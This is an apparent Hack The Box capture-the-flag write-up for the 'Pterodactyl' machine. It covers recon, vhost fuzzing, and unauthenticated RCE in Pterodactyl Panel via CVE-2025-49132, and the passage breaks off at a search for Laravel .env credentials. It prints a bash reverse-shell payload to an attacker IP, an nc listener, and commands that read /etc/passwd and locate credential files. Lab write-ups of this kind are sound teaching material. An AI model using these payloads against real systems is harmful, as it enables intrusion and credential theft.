Summary
Pterodactyl is a Linux box built around an unauthenticated RCE in the Pterodactyl game-server management panel. A static "MonitorLand" landing page on port 80 gives no functionality of its own, but a leaked changelog.txt discloses the exact panel version (v1.11.10) and backend stack (PHP-PEAR, MariaDB). Virtual host fuzzing turns up the actual panel at panel.pterodactyl.htb, and the disclosed version maps directly to CVE-2025-49132 - an unauthenticated PHP object-deserialization RCE via the /locales/locale.json endpoint, abusable through PHP-PEAR to gain code execution as wwwrun. From there, the Laravel .env file leaks MariaDB credentials, and dumping the users table yields bcrypt password hashes; cracking one with john recovers valid SSH credentials for phileasfogg3, who owns the box's only real home directory - and the user flag.
Privilege escalation chases a D-Bus/udisks/polkit trust chain surfaced during manual and automated enumeration. The direct route, CVE-2025-6019 (a libblockdev/udisks LPE), requires an allow_active (physically-present) session, which an SSH session doesn't satisfy by default. Fingerprinting the OS (openSUSE Leap 15.6) leads to a second bug, CVE-2025-6018 (a PAM/pam-config flaw), which promotes a plain SSH session to allow_active. Chaining the two - first elevating the session's Polkit context, then using that context to trigger a SUID bash via a crafted XFS filesystem mount through udisks - yields a root shell and the root flag.
Key techniques: information disclosure via leaked changelog -> vhost enumeration -> CVE-2025-49132 (Pterodactyl Panel unauthenticated RCE via PEAR-based deserialization) -> Laravel .env credential disclosure -> MariaDB credential dump -> offline bcrypt cracking -> SSH foothold -> CVE-2025-6018 (PAM allow_active session escalation) -> CVE-2025-6019 (libblockdev/udisks LPE via crafted XFS mount) -> SUID bash -> root.
1. Reconnaissance
An nmap scan was run to identify open ports and services.
nmap -sCV -T4 -A <MACHINE-IP> -o nmap-pterodactyl
Starting Nmap 7.95 ( https://nmap.org ) at 2026-02-09 07:01 EST
Nmap scan report for pterodactyl.htb (<MACHINE-IP>)
Host is up (0.22s latency).
Not shown: 978 filtered tcp ports (no-response), 18 filtered tcp ports (admin-prohibited)
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 9.6 (protocol 2.0)
| ssh-hostkey:
| 256 a3:74:1e:a3:ad:02:14:01:00:e6:ab:b4:18:84:16:e0 (ECDSA)
|_ 256 65:c8:33:17:7a:d6:52:3d:63:c3:e4:a9:60:64:2d:cc (ED25519)
80/tcp open http nginx 1.21.5
|_http-title: "My Minecraft Server"
|_http-server-header: nginx/1.21.5
443/tcp closed https
8080/tcp closed http-proxy
Aggressive OS guesses: Linux 5.0 - 5.14 (98%), Linux 4.15 - 5.19 (94%), Linux 2.6.32 - 3.13 (93%)
No exact OS matches for host (test conditions non-ideal).
Network Distance: 2 hops
TRACEROUTE (using port 443/tcp)
HOP RTT ADDRESS
1 216.42 ms 10.10.14.1
2 210.40 ms pterodactyl.htb (<MACHINE-IP>)
Nmap done: 1 IP address (1 host up) scanned in 34.08 seconds
Two services are exposed:
- 22/tcp - SSH
- 80/tcp - HTTP (nginx), titled "My Minecraft Server"
pterodactyl.htb was added to /etc/hosts:
sudo nano /etc/hosts
<MACHINE-IP> pterodactyl.htb panel.pterodactyl.htb
2. Web Enumeration
The site itself is a static "MonitorLand" landing page for a Minecraft server community, with no interactive functionality:
While the page itself has nothing to exploit, it links out to play.pterodactyl.htb and a changelog. Fetching http://pterodactyl.htb/changelog.txt turned out to be far more useful than the page it was linked from:
MonitorLand - CHANGELOG.txt
========================================
Version 1.20.X
[Added] Main Website Deployment
-------------------------------
- Deployed the primary landing site for MonitorLand.
- Implemented homepage, and link for Minecraft server.
- Integrated site styling and dark-mode as primary.
[Linked] Subdomain Configuration
-------------------------------
- Added DNS and reverse proxy routing for play.pterodactyl.htb.
- Configured NGINX virtual host for subdomain forwarding.
[Installed] Pterodactyl Panel v1.11.10
-------------------------------
- Installed Pterodactyl Panel.
- Configured environment:
- PHP with required extensions.
- MariaDB 11.8.3 backend.
[Enhanced] PHP Capabilities
-------------------------------
- Enabled PHP-FPM for smoother website handling on all domains.
- Enabled PHP-PEAR for PHP package management.
- Added temporary PHP debugging via phpinfo()
This single file discloses the exact Pterodactyl Panel version (v1.11.10), the database backend (MariaDB 11.8.3), and - critically - that PHP-PEAR is enabled. That combination significantly narrows the search for a version-specific vulnerability.
2.1 Virtual Host Enumeration
ffuf -u http://pterodactyl.htb -H "HOST: FUZZ.pterodactyl.htb" \
-w /usr/share/seclists/Discovery/DNS/subdomains-top1million-20000.txt -mc 200
________________________________________________
:: Method : GET
:: URL : http://pterodactyl.htb
:: Wordlist : FUZZ: /usr/share/seclists/Discovery/DNS/subdomains-top1million-20000.txt
:: Header : Host: FUZZ.pterodactyl.htb
:: Follow redirects : false
:: Calibration : false
:: Timeout : 10
:: Threads : 40
:: Matcher : Response status: 200
________________________________________________
panel [Status: 200, Size: 1897, Words: 490, Lines: 36, Duration: 610ms]
panel.pterodactyl.htb was added to /etc/hosts and resolves to the Pterodactyl Panel login page.
3. Exploitation - CVE-2025-49132
With the exact panel version in hand, research turned up a matching vulnerability: an unauthenticated LFI/RCE affecting Pterodactyl Panel.
CVE-2025-49132 abuses the /locales/locale.json endpoint. By controlling the locale and namespace parameters, an attacker can include arbitrary files - which, combined with PHP-PEAR being enabled, leads to PHP object deserialization via PEAR, ultimately resulting in unauthenticated remote code execution.
PoC used: YoyoChaud/CVE-2025-49132
A listener was started first:
nc -lnvp 4444
listening on [any] 4444 ...
Then the exploit was run against the panel:
python3 exploit.py http://panel.pterodactyl.htb --pear-dir /usr/share/php/PEAR \
--rce-cmd "/bin/bash -i >& /dev/tcp/<ATTACKER-IP>/4444 0>&1"
Pterodactyl Panel - Unauthenticated Exploit
Targets: <= 1.11.10 | Patched: 1.11.11
Exploit By YoyoChaud
════════════════════════════════════════════════════════════
VULNERABILITY CHECK
════════════════════════════════════════════════════════════
[*] Target: http://panel.pterodactyl.htb
[+] Endpoint accessible without hash parameter
[+] TARGET IS VULNERABLE
════════════════════════════════════════════════════════════
RCE (pearcmd) - /bin/bash -i >& /dev/tcp/<ATTACKER-IP>/4444 0>&1
════════════════════════════════════════════════════════════
[+] Output:
(connection held - check your listener)
The listener catches a shell as wwwrun:
nc -lnvp 4444
listening on [any] 4444 ...
connect to [<ATTACKER-IP>] from (UNKNOWN) [<MACHINE-IP>] 60140
bash: cannot set terminal process group (1214): Inappropriate ioctl for device
bash: no job control in this shell
wwwrun@pterodactyl:/var/www/pterodactyl/public>
3.1 Stabilizing the Shell and Finding the User
python3 -c 'import pty; pty.spawn("/bin/bash")'
# Ctrl+Z to suspend, then on the attacker terminal:
stty raw -echo; fg
export TERM=xterm
# Enumerate users
cat /etc/passwd
Of the accounts with /bin/bash as their shell, only phileasfogg3 has an accessible home directory - making it the clear target for the next stage.
3.2 User Flag
wwwrun@pterodactyl:/var/www/pterodactyl/public> cat /home/phileasfogg3/user.txt
HTB{REDACTED}
4. Database Enumeration and Credential Cracking
Laravel applications (which power the Pterodactyl Panel) store database credentials in a .env file - a high-value target during post-exploitation.
# Locate the .env file
find / -type f -name "*.env" 2>/dev/null
# Read it for database credentials
cat /path/to/.env
